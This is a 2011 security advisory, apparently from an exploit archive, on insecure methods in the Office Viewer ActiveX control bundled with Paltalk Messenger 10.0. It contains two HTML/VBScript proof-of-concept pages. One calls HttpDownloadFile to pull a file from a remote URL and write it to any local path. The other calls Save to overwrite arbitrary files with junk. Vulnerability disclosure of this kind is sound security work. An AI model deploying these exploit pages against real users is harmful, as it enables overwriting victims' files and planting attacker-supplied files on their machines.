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Paltalk Messenger 10.0 Insecure Method

Paltalk Messenger 10.0 Insecure Method
Posted Jul 16, 2011
Authored by High-Tech Bridge SA | Site htbridge.com

Paltalk Messenger version 10.0 suffers from an Active-X insecure method vulnerability.

tags | exploit, activex
SHA-256 | 3b4401939b9bca69589a54c90655ff168e700c9fd2e7f74591bc6d8108accfef

Paltalk Messenger 10.0 Insecure Method

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Vulnerability ID: HTB23026
Reference: http://www.htbridge.ch/advisory/paltalk_messenger_activex_control_multiple_insecure_methods.html
Product: Paltalk Messenger
Vendor: Paltalk ( http://www.paltalk.com )
Vulnerable Version: 10.0 and probably prior
Tested on: 10.0
Vendor Notification: 22 June 2011
Vulnerability Type: ActiveX control Insecure Method
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Paltalk Messenger, which can be exploited to overwrite arbitrary files.

1) The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "HttpDownloadFile()" method.
This can be exploited to overwrite arbitrary files in the context of the currently logged-on user by any file located on a remote http server.

The following PoC code is available:


<html>
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="http://URL/Filename"
arg2="FilePath\Filename_to_create"
target.HttpDownloadFile arg1 ,arg2
End Sub

</script>
</html>


2) The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "Save()" method.
This can be exploited to overwrite with junk data arbitrary files in the context of the currently logged-on user.


<html>
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_create"
target.Save arg1
End Sub

</script>
</html>


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